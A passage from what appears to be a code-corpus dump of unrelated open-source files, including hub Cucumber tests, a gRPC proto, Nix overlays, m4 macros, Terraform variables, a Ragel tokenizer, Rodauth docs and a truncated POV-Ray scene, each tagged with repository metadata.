When I successfully run `hub pr merge 12 --head-sha MYSHA`
Then the output should contain exactly ""
Scenario: Delete branch
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
get('/repos/friederbluemle/hub/pulls/12'){
json \
:number => 12,
:state => "merged",
:base => {
:ref => "main",
:label => "friederbluemle:main",
:repo => { :owner => { :login => "friederbluemle" } }
},
:head => {
:ref => "patch-1",
:label => "friederbluemle:patch-1",
:repo => { :owner => { :login => "friederbluemle" } }
}
}
delete('/repos/friederbluemle/hub/git/refs/heads/patch-1'){
status 204
}
"""
When I successfully run `hub pr merge -d 12`
Then the output should contain exactly ""
Scenario: Delete already deleted branch
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
get('/repos/friederbluemle/hub/pulls/12'){
json \
:number => 12,
:state => "merged",
:base => {
:ref => "main",
:label => "friederbluemle:main",
:repo => { :owner => { :login => "friederbluemle" } }
},
:head => {
:ref => "patch-1",
:label => "friederbluemle:patch-1",
:repo => { :owner => { :login => "friederbluemle" } }
}
}
delete('/repos/friederbluemle/hub/git/refs/heads/patch-1'){
status 422
json :message => "Invalid branch name"
}
"""
When I successfully run `hub pr merge -d 12`
Then the output should contain exactly ""
Scenario: Delete branch on cross-repo PR
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
get('/repos/friederbluemle/hub/pulls/12'){
json \
:number => 12,
:state => "merged",
:base => {
:ref => "main",
:label => "friederbluemle:main",
:repo => { :owner => { :login => "friederbluemle" } }
},
:head => {
:ref => "patch-1",
:label => "monalisa:patch-1",
:repo => { :owner => { :login => "monalisa" } }
}
}
"""
When I successfully run `hub pr merge -d 12`
Then the output should contain exactly ""
| Cucumber | 4 | luthermonson/hub | features/pr-merge.feature | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- ******************************************************************* -->
<!-- -->
<!-- Copyright IBM Corp. 2010, 2014 -->
<!-- -->
<!-- Licensed under the Apache License, Version 2.0 (the "License"); -->
<!-- you may not use this file except in compliance with the License. -->
<!-- You may obtain a copy of the License at: -->
<!-- -->
<!-- http://www.apache.org/licenses/LICENSE-2.0 -->
<!-- -->
<!-- Unless required by applicable law or agreed to in writing, software -->
<!-- distributed under the License is distributed on an "AS IS" BASIS, -->
<!-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -->
<!-- implied. See the License for the specific language governing -->
<!-- permissions and limitations under the License. -->
<!-- -->
<!-- ******************************************************************* -->
<faces-config>
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
<designer-extension>
<control-subpackage-name>jdbc</control-subpackage-name>
</designer-extension>
</faces-config-extension>
<complex-type>
<description>Base class for all the JDBC based services</description>
<display-name>Abstract JDBC Service</display-name>
<complex-id>com.ibm.xsp.extlib.relational.component.jdbc.rest.JdbcService</complex-id>
<complex-class>com.ibm.xsp.extlib.relational.component.jdbc.rest.JdbcService</complex-class>
<complex-extension>
<base-complex-id>com.ibm.xsp.extlib.component.rest.AbstractRestService</base-complex-id>
</complex-extension>
</complex-type>
<complex-type>
<description>JDBC JSON Query service implementation</description>
<display-name>JDBC Query As Standard JSON</display-name>
<complex-id>com.ibm.xsp.extlib.relational.component.jdbc.rest.JdbcQueryJsonService</complex-id>
<complex-class>com.ibm.xsp.extlib.relational.component.jdbc.rest.JdbcQueryJsonService</complex-class>
<group-type-ref>com.ibm.xsp.extlib.rest.json.options</group-type-ref>
<group-type-ref>com.ibm.xsp.extlib.relational.group.connection</group-type-ref>
<group-type-ref>com.ibm.xsp.extlib.relational.group.query</group-type-ref>
<complex-extension>
<tag-name>jdbcQueryJsonService</tag-name>
<base-complex-id>com.ibm.xsp.extlib.relational.component.jdbc.rest.JdbcService</base-complex-id>
</complex-extension>
</complex-type>
</faces-config>
| XPages | 3 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/runtime/eclipse/plugins/com.ibm.xsp.extlib.relational/src/com/ibm/xsp/extlib/relational/config/raw-relational-jdbc-rest.xsp-config | [
"Apache-2.0"
] |
// Copyright 2019 The gRPC Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// This file contains the eds protocol and its dependency.
//
// TODO(juanlishen): This file is a hack to avoid a problem we're
// currently having where we can't depend on a proto file in an external
// repo due to bazel limitations. Once that's fixed, this should be
// removed. Until this, it should be used in the gRPC tests only, or else it
// will cause a conflict due to the same proto messages being defined in
// multiple files in the same binary.
syntax = "proto3";
package envoy.service.load_stats.v2;
import "google/protobuf/duration.proto";
import "src/proto/grpc/testing/xds/eds_for_test.proto";
// [#not-implemented-hide:] Not configuration. TBD how to doc proto APIs.
message EndpointLoadMetricStats {
// Name of the metric; may be empty.
string metric_name = 1;
// Number of calls that finished and included this metric.
uint64 num_requests_finished_with_metric = 2;
// Sum of metric values across all calls that finished with this metric for
// load_reporting_interval.
double total_metric_value = 3;
}
message UpstreamLocalityStats {
// Name of zone, region and optionally endpoint group these metrics were
// collected from. Zone and region names could be empty if unknown.
envoy.api.v2.Locality locality = 1;
// The total number of requests successfully completed by the endpoints in the
// locality.
uint64 total_successful_requests = 2;
// The total number of unfinished requests
uint64 total_requests_in_progress = 3;
// The total number of requests that failed due to errors at the endpoint,
// aggregated over all endpoints in the locality.
uint64 total_error_requests = 4;
// The total number of requests that were issued by this Envoy since
// the last report. This information is aggregated over all the
// upstream endpoints in the locality.
uint64 total_issued_requests = 8;
// Stats for multi-dimensional load balancing.
repeated EndpointLoadMetricStats load_metric_stats = 5;
// // Endpoint granularity stats information for this locality. This information
// // is populated if the Server requests it by setting
// // :ref:`LoadStatsResponse.report_endpoint_granularity<envoy_api_field_load_stats.LoadStatsResponse.report_endpoint_granularity>`.
// repeated UpstreamEndpointStats upstream_endpoint_stats = 7;
// [#not-implemented-hide:] The priority of the endpoint group these metrics
// were collected from.
uint32 priority = 6;
}
// Per cluster load stats. Envoy reports these stats a management server in a
// :ref:`LoadStatsRequest<envoy_api_msg_load_stats.LoadStatsRequest>`
// [#not-implemented-hide:] Not configuration. TBD how to doc proto APIs.
// Next ID: 7
message ClusterStats {
// The name of the cluster.
string cluster_name = 1;
// The eds_cluster_config service_name of the cluster.
// It's possible that two clusters send the same service_name to EDS,
// in that case, the management server is supposed to do aggregation on the load reports.
string cluster_service_name = 6;
// Need at least one.
repeated UpstreamLocalityStats upstream_locality_stats = 2;
// Cluster-level stats such as total_successful_requests may be computed by
// summing upstream_locality_stats. In addition, below there are additional
// cluster-wide stats.
//
// The total number of dropped requests. This covers requests
// deliberately dropped by the drop_overload policy and circuit breaking.
uint64 total_dropped_requests = 3;
message DroppedRequests {
// Identifier for the policy specifying the drop.
string category = 1;
// Total number of deliberately dropped requests for the category.
uint64 dropped_count = 2;
}
// Information about deliberately dropped requests for each category specified
// in the DropOverload policy.
repeated DroppedRequests dropped_requests = 5;
// Period over which the actual load report occurred. This will be guaranteed to include every
// request reported. Due to system load and delays between the *LoadStatsRequest* sent from Envoy
// and the *LoadStatsResponse* message sent from the management server, this may be longer than
// the requested load reporting interval in the *LoadStatsResponse*.
google.protobuf.Duration load_report_interval = 4;
}
// [#protodoc-title: Load reporting service]
service LoadReportingService {
// Advanced API to allow for multi-dimensional load balancing by remote
// server. For receiving LB assignments, the steps are:
// 1, The management server is configured with per cluster/zone/load metric
// capacity configuration. The capacity configuration definition is
// outside of the scope of this document.
// 2. Envoy issues a standard {Stream,Fetch}Endpoints request for the clusters
// to balance.
//
// Independently, Envoy will initiate a StreamLoadStats bidi stream with a
// management server:
// 1. Once a connection establishes, the management server publishes a
// LoadStatsResponse for all clusters it is interested in learning load
// stats about.
// 2. For each cluster, Envoy load balances incoming traffic to upstream hosts
// based on per-zone weights and/or per-instance weights (if specified)
// based on intra-zone LbPolicy. This information comes from the above
// {Stream,Fetch}Endpoints.
// 3. When upstream hosts reply, they optionally add header <define header
// name> with ASCII representation of EndpointLoadMetricStats.
// 4. Envoy aggregates load reports over the period of time given to it in
// LoadStatsResponse.load_reporting_interval. This includes aggregation
// stats Envoy maintains by itself (total_requests, rpc_errors etc.) as
// well as load metrics from upstream hosts.
// 5. When the timer of load_reporting_interval expires, Envoy sends new
// LoadStatsRequest filled with load reports for each cluster.
// 6. The management server uses the load reports from all reported Envoys
// from around the world, computes global assignment and prepares traffic
// assignment destined for each zone Envoys are located in. Goto 2.
rpc StreamLoadStats(stream LoadStatsRequest) returns (stream LoadStatsResponse) {
}
}
// A load report Envoy sends to the management server.
// [#not-implemented-hide:] Not configuration. TBD how to doc proto APIs.
message LoadStatsRequest {
// Node identifier for Envoy instance.
envoy.api.v2.Node node = 1;
// A list of load stats to report.
repeated ClusterStats cluster_stats = 2;
}
// The management server sends envoy a LoadStatsResponse with all clusters it
// is interested in learning load stats about.
// [#not-implemented-hide:] Not configuration. TBD how to doc proto APIs.
message LoadStatsResponse {
// Clusters to report stats for.
// Not populated if *send_all_clusters* is true.
repeated string clusters = 1;
// If true, the client should send all clusters it knows about.
// Only clients that advertise the "envoy.lrs.supports_send_all_clusters" capability in their
// :ref:`client_features<envoy_api_field_core.Node.client_features>` field will honor this field.
bool send_all_clusters = 4;
// The minimum interval of time to collect stats over. This is only a minimum for two reasons:
// 1. There may be some delay from when the timer fires until stats sampling occurs.
// 2. For clusters that were already feature in the previous *LoadStatsResponse*, any traffic
// that is observed in between the corresponding previous *LoadStatsRequest* and this
// *LoadStatsResponse* will also be accumulated and billed to the cluster. This avoids a period
// of inobservability that might otherwise exists between the messages. New clusters are not
// subject to this consideration.
google.protobuf.Duration load_reporting_interval = 2;
// Set to *true* if the management server supports endpoint granularity
// report.
bool report_endpoint_granularity = 3;
}
| Protocol Buffer | 5 | arghyadip01/grpc | src/proto/grpc/testing/xds/lrs_for_test.proto | [
"Apache-2.0"
] |
timelib
=======
Timelib is a timezone and date/time library that can calculate local time,
convert between timezones and parse textual descriptions of date/time
information.
It is the library supporting PHP's Date/Time extension and MongoDB's time zone
support.
Build Requirements
------------------
On Debian: ``apt install libcpputest-dev``
| reStructuredText | 2 | NathanFreeman/php-src | ext/date/lib/README.rst | [
"PHP-3.01"
] |
{ compiler, extraOverrides ? (final: prev: { }) }:
self: super:
let
inherit (self.haskell) lib;
overrides =
final: prev:
rec {
# To pin custom versions of Haskell packages:
# protolude =
# prev.callHackageDirect
# {
# pkg = "protolude";
# ver = "0.3.0";
# sha256 = "0iwh4wsjhb7pms88lw1afhdal9f86nrrkkvv65f9wxbd1b159n72";
# }
# { };
#
# To get the sha256:
# nix-prefetch-url --unpack https://hackage.haskell.org/package/protolude-0.3.0/protolude-0.3.0.tar.gz
# To temporarily pin unreleased versions from GitHub:
# <name> =
# prev.callCabal2nixWithOptions "<name>" (super.fetchFromGitHub {
# owner = "<owner>";
# repo = "<repo>";
# rev = "<commit>";
# sha256 = "<sha256>";
# }) "--subpath=<subpath>" {};
#
# To get the sha256:
# nix-prefetch-url --unpack https://github.com/<owner>/<repo>/archive/<commit>.tar.gz
wai-extra =
prev.callHackageDirect
{
pkg = "wai-extra";
ver = "3.1.8";
sha256 = "1ha8sxc2ii7k7xs5nm06wfwqmf4f1p2acp4ya0jnx6yn6551qps4";
}
{ };
wai-logger =
prev.callHackageDirect
{
pkg = "wai-logger";
ver = "2.3.7";
sha256 = "1d23fdbwbahr3y1vdyn57m1qhljy22pm5cpgb20dy6mlxzdb30xd";
}
{ };
warp =
lib.dontCheck (prev.callHackageDirect
{
pkg = "warp";
ver = "3.3.19";
sha256 = "0y3jj4bhviss6ff9lwxki0zbdcl1rb398bk4s80zvfpnpy7p94cx";
}
{ });
hasql-dynamic-statements =
lib.dontCheck (lib.unmarkBroken prev.hasql-dynamic-statements);
hasql-implicits =
lib.dontCheck (lib.unmarkBroken prev.hasql-implicits);
ptr =
lib.dontCheck (lib.unmarkBroken prev.ptr);
} // extraOverrides final prev;
in
{
haskell =
super.haskell // {
packages = super.haskell.packages // {
"${compiler}" =
super.haskell.packages."${compiler}".override { inherit overrides; };
};
};
}
| Nix | 5 | fairhopeweb/postgrest | nix/overlays/haskell-packages.nix | [
"MIT"
] |
#---------------------------------------------------------------------------
#
# xc-translit.m4
#
# Copyright (c) 2011 Daniel Stenberg <[email protected]>
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
#---------------------------------------------------------------------------
# File version for 'aclocal' use. Keep it a single number.
# serial 2
dnl XC_SH_TR_SH (expression)
dnl -------------------------------------------------
dnl Shell execution time transliteration of 'expression'
dnl argument, where all non-alfanumeric characters are
dnl converted to the underscore '_' character.
dnl Normal shell expansion and substitution takes place
dnl for given 'expression' at shell execution time before
dnl transliteration is applied to it.
AC_DEFUN([XC_SH_TR_SH],
[`echo "$1" | sed 's/[[^a-zA-Z0-9_]]/_/g'`])
dnl XC_SH_TR_SH_EX (expression, [extra])
dnl -------------------------------------------------
dnl Like XC_SH_TR_SH but transliterating characters
dnl given in 'extra' argument to lowercase 'p'. For
dnl example [*+], [*], and [+] are valid 'extra' args.
AC_DEFUN([XC_SH_TR_SH_EX],
[ifelse([$2], [],
[XC_SH_TR_SH([$1])],
[`echo "$1" | sed 's/[[$2]]/p/g' | sed 's/[[^a-zA-Z0-9_]]/_/g'`])])
dnl XC_M4_TR_SH (expression)
dnl -------------------------------------------------
dnl m4 execution time transliteration of 'expression'
dnl argument, where all non-alfanumeric characters are
dnl converted to the underscore '_' character.
AC_DEFUN([XC_M4_TR_SH],
[patsubst(XC_QPATSUBST(XC_QUOTE($1),
[[^a-zA-Z0-9_]], [_]),
[\(_\(.*\)_\)], [\2])])
dnl XC_M4_TR_SH_EX (expression, [extra])
dnl -------------------------------------------------
dnl Like XC_M4_TR_SH but transliterating characters
dnl given in 'extra' argument to lowercase 'p'. For
dnl example [*+], [*], and [+] are valid 'extra' args.
AC_DEFUN([XC_M4_TR_SH_EX],
[ifelse([$2], [],
[XC_M4_TR_SH([$1])],
[patsubst(XC_QPATSUBST(XC_QPATSUBST(XC_QUOTE($1),
[[$2]],
[p]),
[[^a-zA-Z0-9_]], [_]),
[\(_\(.*\)_\)], [\2])])])
dnl XC_SH_TR_CPP (expression)
dnl -------------------------------------------------
dnl Shell execution time transliteration of 'expression'
dnl argument, where all non-alfanumeric characters are
dnl converted to the underscore '_' character and alnum
dnl characters are converted to uppercase.
dnl Normal shell expansion and substitution takes place
dnl for given 'expression' at shell execution time before
dnl transliteration is applied to it.
AC_DEFUN([XC_SH_TR_CPP],
[`echo "$1" | dnl
sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' | dnl
sed 's/[[^A-Z0-9_]]/_/g'`])
dnl XC_SH_TR_CPP_EX (expression, [extra])
dnl -------------------------------------------------
dnl Like XC_SH_TR_CPP but transliterating characters
dnl given in 'extra' argument to uppercase 'P'. For
dnl example [*+], [*], and [+] are valid 'extra' args.
AC_DEFUN([XC_SH_TR_CPP_EX],
[ifelse([$2], [],
[XC_SH_TR_CPP([$1])],
[`echo "$1" | dnl
sed 's/[[$2]]/P/g' | dnl
sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' | dnl
sed 's/[[^A-Z0-9_]]/_/g'`])])
dnl XC_M4_TR_CPP (expression)
dnl -------------------------------------------------
dnl m4 execution time transliteration of 'expression'
dnl argument, where all non-alfanumeric characters are
dnl converted to the underscore '_' character and alnum
dnl characters are converted to uppercase.
AC_DEFUN([XC_M4_TR_CPP],
[patsubst(XC_QPATSUBST(XC_QTRANSLIT(XC_QUOTE($1),
[abcdefghijklmnopqrstuvwxyz],
[ABCDEFGHIJKLMNOPQRSTUVWXYZ]),
[[^A-Z0-9_]], [_]),
[\(_\(.*\)_\)], [\2])])
dnl XC_M4_TR_CPP_EX (expression, [extra])
dnl -------------------------------------------------
dnl Like XC_M4_TR_CPP but transliterating characters
dnl given in 'extra' argument to uppercase 'P'. For
dnl example [*+], [*], and [+] are valid 'extra' args.
AC_DEFUN([XC_M4_TR_CPP_EX],
[ifelse([$2], [],
[XC_M4_TR_CPP([$1])],
[patsubst(XC_QPATSUBST(XC_QTRANSLIT(XC_QPATSUBST(XC_QUOTE($1),
[[$2]],
[P]),
[abcdefghijklmnopqrstuvwxyz],
[ABCDEFGHIJKLMNOPQRSTUVWXYZ]),
[[^A-Z0-9_]], [_]),
[\(_\(.*\)_\)], [\2])])])
dnl XC_QUOTE (expression)
dnl -------------------------------------------------
dnl Expands to quoted result of 'expression' expansion.
AC_DEFUN([XC_QUOTE],
[[$@]])
dnl XC_QPATSUBST (string, regexp[, repl])
dnl -------------------------------------------------
dnl Expands to quoted result of 'patsubst' expansion.
AC_DEFUN([XC_QPATSUBST],
[XC_QUOTE(patsubst([$1], [$2], [$3]))])
dnl XC_QTRANSLIT (string, chars, repl)
dnl -------------------------------------------------
dnl Expands to quoted result of 'translit' expansion.
AC_DEFUN([XC_QTRANSLIT],
[XC_QUOTE(translit([$1], [$2], [$3]))])
| M4 | 4 | faizur/curl | m4/xc-translit.m4 | [
"curl"
] |
variable "namespace" {
type = string
description = "Namespace where the Admission Controller will be deploymed"
}
variable "deployment_name" {
type = string
description = "Admission Controller Deployment Name"
}
variable "replicas" {
type = number
description = "Number of replicas used in the deployment"
default = 3
}
variable "image" {
type = string
description = "Admission Controller image name"
}
variable "image_version" {
type = string
description = "Admission Controller image version name"
default = "latest"
}
variable "image_prefix" {
type = string
description = "Image repository prefix"
default = "gcr.io/baeldung"
}
variable "admission_controller_name" {
type = string
description = "Admission Controller name"
default = "wait-for-it.service.local"
}
variable "k8s_config_context" {
type = string
description = "Name of the K8S config context"
}
variable "k8s_config_path" {
type = string
description = "Location of the standard K8S configuration"
default = "~/.kube/config"
} | HCL | 4 | DBatOWL/tutorials | kubernetes/k8s-admission-controller/src/test/terraform/variables.tf | [
"MIT"
] |
MODULE = Agar::Widget PACKAGE = Agar::Widget PREFIX = AG_
PROTOTYPES: ENABLE
VERSIONCHECK: DISABLE
void
draw(self)
Agar::Widget self
CODE:
AG_WidgetDraw(self);
void
enable(self)
Agar::Widget self
CODE:
AG_WidgetEnable(self);
void
disable(self)
Agar::Widget self
CODE:
AG_WidgetDisable(self);
int
isEnabled(self)
Agar::Widget self
CODE:
RETVAL = AG_WidgetEnabled(self);
OUTPUT:
RETVAL
int
isDisabled(self)
Agar::Widget self
CODE:
RETVAL = AG_WidgetDisabled(self);
OUTPUT:
RETVAL
void
setFocusable(self, isFocusable)
Agar::Widget self
int isFocusable
CODE:
AG_WidgetSetFocusable(self, isFocusable);
int
isFocused(self)
Agar::Widget self
CODE:
RETVAL = AG_WidgetIsFocused(self);
OUTPUT:
RETVAL
int
isFocusedInWindow(self)
Agar::Widget self
CODE:
RETVAL = AG_WidgetIsFocusedInWindow(self);
OUTPUT:
RETVAL
void
focus(self)
Agar::Widget self
CODE:
AG_WidgetFocus(self);
void
unfocus(self)
Agar::Widget self
CODE:
AG_WidgetUnfocus(self);
Agar::Window
window(self)
Agar::Widget self
CODE:
RETVAL = AG_ParentWindow(self);
OUTPUT:
RETVAL
void
requestSize(self, w, h)
Agar::Widget self
int w
int h
PREINIT:
static AG_SizeReq sizereq;
CODE:
sizereq.w = w;
sizereq.h = h;
AG_WidgetSizeReq(self, &sizereq);
void
setStyle(self, attr, value)
Agar::Widget self
const char *attr
const char *value
CODE:
AG_SetStyle(self, attr, value);
void
setSize(self, w, h)
Agar::Widget self
int w
int h
CODE:
AG_WidgetSetSize(self, w, h);
int
x(self)
Agar::Widget self
CODE:
RETVAL = self->x;
OUTPUT:
RETVAL
int
y(self)
Agar::Widget self
CODE:
RETVAL = self->y;
OUTPUT:
RETVAL
int
w(self)
Agar::Widget self
CODE:
RETVAL = self->w;
OUTPUT:
RETVAL
int
h(self)
Agar::Widget self
CODE:
RETVAL = self->h;
OUTPUT:
RETVAL
void
expandHoriz(self)
Agar::Widget self
CODE:
AG_ExpandHoriz(self);
void
expandVert(self)
Agar::Widget self
CODE:
AG_ExpandVert(self);
void
expand(self)
Agar::Widget self
CODE:
AG_Expand(self);
void
redraw(self)
Agar::Widget self
CODE:
AG_Redraw(self);
void
redrawOnChange(self, refresh_ms, name)
Agar::Widget self
int refresh_ms
const char *name
CODE:
AG_RedrawOnChange(self, refresh_ms, name);
void
redrawOnTick(self, refresh_ms)
Agar::Widget self
int refresh_ms
CODE:
AG_RedrawOnTick(self, refresh_ms);
| XS | 3 | auzkok/libagar | p5-Agar/Agar/Widget.xs | [
"BSD-2-Clause"
] |
/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_COMPILER_XLA_SERVICE_GPU_VARIADIC_OP_SPLITTER_H_
#define TENSORFLOW_COMPILER_XLA_SERVICE_GPU_VARIADIC_OP_SPLITTER_H_
#include "absl/strings/string_view.h"
#include "tensorflow/compiler/xla/service/hlo_pass_interface.h"
#include "tensorflow/compiler/xla/statusor.h"
namespace xla {
namespace gpu {
// Splits variadic ops with many operands into pieces such that we don't exceed
// the parameter space on the GPU. Currently only concatenate ops are split up.
class VariadicOpSplitter : public HloModulePass {
public:
absl::string_view name() const override { return "variadic-op-splitter"; }
StatusOr<bool> Run(HloModule* module) override;
};
} // namespace gpu
} // namespace xla
#endif // TENSORFLOW_COMPILER_XLA_SERVICE_GPU_VARIADIC_OP_SPLITTER_H_
| C | 4 | abhaikollara/tensorflow | tensorflow/compiler/xla/service/gpu/variadic_op_splitter.h | [
"Apache-2.0"
] |
(*
* Copyright 2014, NICTA
*
* This software may be distributed and modified according to the terms of
* the BSD 2-Clause license. Note that NO WARRANTY is provided.
* See "LICENSE_BSD2.txt" for details.
*
* @TAG(NICTA_BSD)
*)
theory Sep_Cancel_Example
imports Sep_Cancel
begin
(* sep_cancel performs cancellative elimination of conjuncts using the sep_cancel set.
This is fairly similar to sep_erule_full sep_cancel. *)
lemma "(A \<and>* B \<and>* C \<and>* D) s \<Longrightarrow> (C \<and>* D \<and>* A \<and>* B) s"
apply sep_cancel
apply sep_cancel
done
end
| Isabelle | 4 | pirapira/eth-isabelle | sep_algebra/Sep_Cancel_Example.thy | [
"Apache-2.0"
] |
package parser
import "fmt"
%%{
machine gosecco_tokenizer;
BIN_DIGIT = [01] ;
OCT_DIGIT = [0-7] ;
INTBIN = "0b"i BIN_DIGIT+ ;
INTHEX = "0x"i xdigit+ ;
INTOCT = "0" OCT_DIGIT+ ;
INTDEC = ( "0" | ( [1-9] digit* ) ) ;
SPACES = [ \t] ;
IDENT_CHAR = "_" | alnum ;
ARG = "arg" [HL]? [0-5] ;
IDENT = [_a-zA-Z] IDENT_CHAR* ;
main := |*
ARG => {f(ARG, data[ts:te])};
"in"i => {f(IN, nil)};
"notIn"i => {f(NOTIN, nil)};
"true"i => {f(TRUE, nil)};
"false"i => {f(FALSE, nil)};
IDENT => {f(IDENT, data[ts:te])};
INTHEX => {f(INT, data[ts:te])};
INTOCT => {f(INT, data[ts:te])};
INTBIN => {f(INT, data[ts:te])};
INTDEC => {f(INT, data[ts:te])};
"+" => {f(ADD, nil)};
"-" => {f(SUB, nil)};
"*" => {f(MUL, nil)};
"/" => {f(DIV, nil)};
"%" => {f(MOD, nil)};
"&?" => {f(BITSET, nil)};
"&&" => {f(LAND, nil)};
"||" => {f(LOR, nil)};
"&" => {f(AND, nil)};
"|" => {f(OR, nil)};
"^" => {f(XOR, nil)};
"<<" => {f(LSH, nil)};
">>" => {f(RSH, nil)};
"~" => {f(INV, nil)};
"==" => {f(EQL, nil)};
"<=" => {f(LTE, nil)};
">=" => {f(GTE, nil)};
"<" => {f(LT, nil)};
">" => {f(GT, nil)};
"!=" => {f(NEQ, nil)};
"!" => {f(NOT, nil)};
"(" => {f(LPAREN, nil)};
"[" => {f(LBRACK, nil)};
")" => {f(RPAREN, nil)};
"]" => {f(RBRACK, nil)};
"," => {f(COMMA, nil)};
SPACES+;
any => {return tokenError(ts, te, data)};
*|;
}%%
%% write data;
func tokenizeRaw(data []byte, f func(token, []byte), tokenError func(int, int, []byte) error) error {
var cs, act int
p, pe := 0, len(data)
ts, te := 0, 0
eof := pe
%% write init;
%% write exec;
return nil
}
| Ragel in Ruby Host | 5 | CodeLingoBot/oz | vendor/github.com/twtiger/gosecco/parser/tokenizer.rl | [
"BSD-3-Clause"
] |
#*****************************************************************************
# *
# Make file for VMS *
# Author : J.Jansen ([email protected]) *
# Date : 5 October 2009 *
# *
#*****************************************************************************
.first
define wx [--.include.wx]
.ifdef __WXMOTIF__
CXX_DEFINE = /define=(__WXMOTIF__=1)/name=(as_is,short)\
/assume=(nostdnew,noglobal_array_new)
.else
.ifdef __WXGTK__
CXX_DEFINE = /define=(__WXGTK__=1)/float=ieee/name=(as_is,short)/ieee=denorm\
/assume=(nostdnew,noglobal_array_new)
.else
CXX_DEFINE =
.endif
.endif
.suffixes : .cpp
.cpp.obj :
cxx $(CXXFLAGS)$(CXX_DEFINE) $(MMS$TARGET_NAME).cpp
all :
.ifdef __WXMOTIF__
$(MMS)$(MMSQUALIFIERS) life.exe
.else
.ifdef __WXGTK__
$(MMS)$(MMSQUALIFIERS) life_gtk.exe
.endif
.endif
OBJS=life.obj,dialogs.obj,game.obj,reader.obj
.ifdef __WXMOTIF__
life.exe : $(OBJS)
cxxlink/exec=life.exe $(OBJS),[--.lib]vms/opt
.else
.ifdef __WXGTK__
life_gtk.exe : $(OBJS)
cxxlink/exec=life_gtk.exe $(OBJS),[--.lib]vms_gtk/opt
.endif
.endif
life.obj : life.cpp
dialogs.obj : dialogs.cpp
game.obj : game.cpp
reader.obj : reader.cpp
| Module Management System | 3 | madanagopaltcomcast/pxCore | examples/pxScene2d/external/WinSparkle/3rdparty/wxWidgets/demos/life/descrip.mms | [
"Apache-2.0"
] |
= Documentation for Create Account Feature
The create account feature allows users to create new accounts.
== Auth Value Methods
create_account_additional_form_tags :: HTML fragment containing additional form tags to use on the create account form.
create_account_button :: The text to use for the create account button.
create_account_error_flash :: The flash error to show for unsuccessful account creation.
create_account_notice_flash :: The flash notice to show after successful account creation.
create_account_page_title :: The page title to use on the create account form.
create_account_redirect :: Where to redirect after creating the account.
create_account_route :: The route to the create account action. Defaults to +create-account+.
create_account_set_password? :: Whether to ask for a password to be set on the create account form. Defaults to true if not verifying accounts. If set to false, an alternative method to set the password should be used (assuming you want to allow password authentication).
== Auth Methods
after_create_account :: Run arbitrary code after creating the account.
before_create_account :: Run arbitrary code before creating the account.
before_create_account_route :: Run arbitrary code before handling a create account route.
create_account_autologin? :: Whether to autologin the user upon successful account creation, true by default unless verifying accounts.
create_account_link_text :: The text to use for a link to the create account form.
create_account_view :: The HTML to use for the create account form.
new_account(login) :: Instantiate a new account hash for the given login, without saving it.
save_account :: Insert the account into the database, or return nil/false if that was not successful.
set_new_account_password :: Set the password for a new account if +account_password_hash_column+ is set, without saving.
| RDoc | 4 | monorkin/rodauth | doc/create_account.rdoc | [
"MIT"
] |
#version 3.7;
#include "colors.inc"
#include "textures.inc"
#include "woods.inc"
#include "metals.inc"
#include "skies.inc"
global_settings { assumed_gamma 2.2 }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Global Contenxt & Camera
#declare cx = 0; // X Center of rotation
#declare cy = 0; // Y Center of rotation
#declare h = 7; // Height of camera
#declare r = 25; // Distance form center of rotation
camera {
location <cos(clock*2*pi)*r+cx,sin(clock*2*pi)*r+cy,h>
look_at <cx,cy,0>
sky <0,0,1>
up <0,0,1>
right <0,16/9,0>
}
light_source { < 0, 0,30> color 0.2*White }
light_source { <-10, 10,20> color 0.2*White }
light_source { < 10,-10,20> color 0.2*White }
light_source { < 10, 10,20> color 0.2*White }
light_source { <-10,-10,20> color 0.2*White }
background { color Black }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Coordinate Axis
#declare axDiam=0.1;
#declare maxx=9;
#declare maxy=9;
#declare maxz=5;
#declare axOrig=<-0,-0,-0>;
#declare coordAxisTex=texture {
pigment { color Blue }
finish {
ambient .50
diffuse 0.05
